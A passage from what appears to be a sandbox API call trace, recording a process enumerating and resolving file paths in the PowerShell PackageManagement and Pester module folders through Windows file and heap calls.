(x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\microsoft.packagemanagement.archiverproviders.dll")) returned 0x20 [0231.015] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e86b8 | out: hHeap=0x2ad0000) returned 1 [0231.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881420 [0231.016] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\Microsoft.PackageManagement.CoreProviders.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\microsoft.packagemanagement.coreproviders.dll")) returned 0x20 [0231.016] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e8740 | out: hHeap=0x2ad0000) returned 1 [0231.017] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\Microsoft.PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\microsoft.packagemanagement.dll")) returned 0x20 [0231.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea4f0 | out: hHeap=0x2ad0000) returned 1 [0231.017] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\Microsoft.PackageManagement.MetaProvider.PowerShell.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\microsoft.packagemanagement.metaprovider.powershell.dll")) returned 0x20 [0231.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f500 | out: hHeap=0x2ad0000) returned 1 [0231.017] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\Microsoft.PackageManagement.MsiProvider.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\microsoft.packagemanagement.msiprovider.dll")) returned 0x20 [0231.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61f8 | out: hHeap=0x2ad0000) returned 1 [0231.018] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881420, Size=0x20) returned 0x3733eb8 [0231.018] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\Microsoft.PackageManagement.MsuProvider.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\microsoft.packagemanagement.msuprovider.dll")) returned 0x20 [0231.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6678 | out: hHeap=0x2ad0000) returned 1 [0231.019] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\Microsoft.PowerShell.PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\microsoft.powershell.packagemanagement.dll")) returned 0x20 [0231.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65f8 | out: hHeap=0x2ad0000) returned 1 [0231.043] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.format.ps1xml")) returned 0x20 [0231.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea6d0 | out: hHeap=0x2ad0000) returned 1 [0231.044] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0231.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0231.044] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3733eb8, Size=0x40) returned 0x3887968 [0231.044] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageProviderFunctions.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packageproviderfunctions.psm1")) returned 0x20 [0231.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea748 | out: hHeap=0x2ad0000) returned 1 [0231.045] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\Microsoft.PackageManagement.ArchiverProviders.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\Microsoft.PackageManagement.ArchiverProviders.dll", lpFilePart=0x9bada4*="Microsoft.PackageManagement.ArchiverProviders.dll") returned 0x7c [0231.045] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0231.045] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\Microsoft.PackageManagement.CoreProviders.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\Microsoft.PackageManagement.CoreProviders.dll", lpFilePart=0x9bada4*="Microsoft.PackageManagement.CoreProviders.dll") returned 0x78 [0231.045] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\Microsoft.PackageManagement.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\Microsoft.PackageManagement.dll", lpFilePart=0x9bada4*="Microsoft.PackageManagement.dll") returned 0x6a [0231.045] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0231.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0231.046] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\Microsoft.PackageManagement.MetaProvider.PowerShell.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\Microsoft.PackageManagement.MetaProvider.PowerShell.dll", lpFilePart=0x9bada4*="Microsoft.PackageManagement.MetaProvider.PowerShell.dll") returned 0x82 [0231.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0231.046] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\Microsoft.PackageManagement.MsiProvider.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\Microsoft.PackageManagement.MsiProvider.dll", lpFilePart=0x9bada4*="Microsoft.PackageManagement.MsiProvider.dll") returned 0x76 [0231.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0231.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0231.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0231.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0231.046] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\Microsoft.PackageManagement.MsuProvider.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\Microsoft.PackageManagement.MsuProvider.dll", lpFilePart=0x9bada4*="Microsoft.PackageManagement.MsuProvider.dll") returned 0x76 [0231.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0231.047] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\Microsoft.PowerShell.PackageManagement.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\Microsoft.PowerShell.PackageManagement.dll", lpFilePart=0x9bada4*="Microsoft.PowerShell.PackageManagement.dll") returned 0x75 [0231.047] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.format.ps1xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.format.ps1xml", lpFilePart=0x9bada4*="PackageManagement.format.ps1xml") returned 0x6a [0231.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0231.047] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x9bada4*="PackageManagement.psd1") returned 0x61 [0231.048] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageProviderFunctions.psm1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageProviderFunctions.psm1", lpFilePart=0x9bada4*="PackageProviderFunctions.psm1") returned 0x68 [0231.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0231.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0231.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0231.048] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc79e72b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7410 [0231.050] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc79e72b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0231.050] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.PackageManagement.ArchiverProviders.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0231.050] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.PackageManagement.CoreProviders.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0231.050] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.PackageManagement.MetaProvider.PowerShell.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0231.050] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.PackageManagement.MsiProvider.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0231.050] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Microsoft.PackageManagement.MsuProvider.resources.dll", cAlternateFileName="MIADC5~1.DLL")) returned 1 [0231.050] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="Microsoft.PackageManagement.resources.dll", cAlternateFileName="MIC579~1.DLL")) returned 1 [0231.051] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PackageManagement.resources.dll", cAlternateFileName="MI8D9C~1.DLL")) returned 1 [0231.051] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x88508c95, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x88508c95, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PackageManagement.resources.dll", cAlternateFileName="MI8D9C~1.DLL")) returned 0 [0231.051] FindClose (in: hFindFile=0x10f7410 | out: hFindFile=0x10f7410) returned 1 [0231.052] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\Microsoft.PackageManagement.ArchiverProviders.resources.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\en\\microsoft.packagemanagement.archiverproviders.resources.dll")) returned 0x20 [0231.053] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0f98 | out: hHeap=0x2ad0000) returned 1 [0231.053] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881378 [0231.053] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\Microsoft.PackageManagement.CoreProviders.resources.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\en\\microsoft.packagemanagement.coreproviders.resources.dll")) returned 0x20 [0231.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f6b0 | out: hHeap=0x2ad0000) returned 1 [0231.054] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\Microsoft.PackageManagement.MetaProvider.PowerShell.resources.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\en\\microsoft.packagemanagement.metaprovider.powershell.resources.dll")) returned 0x20 [0231.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac10c8 | out: hHeap=0x2ad0000) returned 1 [0231.054] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\Microsoft.PackageManagement.MsiProvider.resources.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\en\\microsoft.packagemanagement.msiprovider.resources.dll")) returned 0x20 [0231.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f470 | out: hHeap=0x2ad0000) returned 1 [0231.054] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\Microsoft.PackageManagement.MsuProvider.resources.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\en\\microsoft.packagemanagement.msuprovider.resources.dll")) returned 0x20 [0231.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f2c0 | out: hHeap=0x2ad0000) returned 1 [0231.055] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881378, Size=0x20) returned 0x3734160 [0231.055] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\Microsoft.PackageManagement.resources.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\en\\microsoft.packagemanagement.resources.dll")) returned 0x20 [0231.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6178 | out: hHeap=0x2ad0000) returned 1 [0231.055] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\Microsoft.PowerShell.PackageManagement.resources.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\en\\microsoft.powershell.packagemanagement.resources.dll")) returned 0x20 [0231.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f1a0 | out: hHeap=0x2ad0000) returned 1 [0231.056] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\Microsoft.PackageManagement.ArchiverProviders.resources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\Microsoft.PackageManagement.ArchiverProviders.resources.dll", lpFilePart=0x9bada4*="Microsoft.PackageManagement.ArchiverProviders.resources.dll") returned 0x89 [0231.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0231.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0231.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0231.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0231.056] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\Microsoft.PackageManagement.CoreProviders.resources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\Microsoft.PackageManagement.CoreProviders.resources.dll", lpFilePart=0x9bada4*="Microsoft.PackageManagement.CoreProviders.resources.dll") returned 0x85 [0231.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0231.056] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\Microsoft.PackageManagement.MetaProvider.PowerShell.resources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\Microsoft.PackageManagement.MetaProvider.PowerShell.resources.dll", lpFilePart=0x9bada4*="Microsoft.PackageManagement.MetaProvider.PowerShell.resources.dll") returned 0x8f [0231.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0231.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0231.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0231.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0231.057] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\Microsoft.PackageManagement.MsiProvider.resources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\Microsoft.PackageManagement.MsiProvider.resources.dll", lpFilePart=0x9bada4*="Microsoft.PackageManagement.MsiProvider.resources.dll") returned 0x83 [0231.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0231.057] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\Microsoft.PackageManagement.MsuProvider.resources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\Microsoft.PackageManagement.MsuProvider.resources.dll", lpFilePart=0x9bada4*="Microsoft.PackageManagement.MsuProvider.resources.dll") returned 0x83 [0231.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0231.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0231.058] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0231.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0231.058] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\Microsoft.PackageManagement.resources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\Microsoft.PackageManagement.resources.dll", lpFilePart=0x9bada4*="Microsoft.PackageManagement.resources.dll") returned 0x77 [0231.058] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0231.058] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\Microsoft.PowerShell.PackageManagement.resources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\en\\Microsoft.PowerShell.PackageManagement.resources.dll", lpFilePart=0x9bada4*="Microsoft.PowerShell.PackageManagement.resources.dll") returned 0x82 [0231.058] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7810 [0231.059] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0231.059] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7fefb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="3.3.5", cAlternateFileName="3351CC~1.5")) returned 1 [0231.059] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, 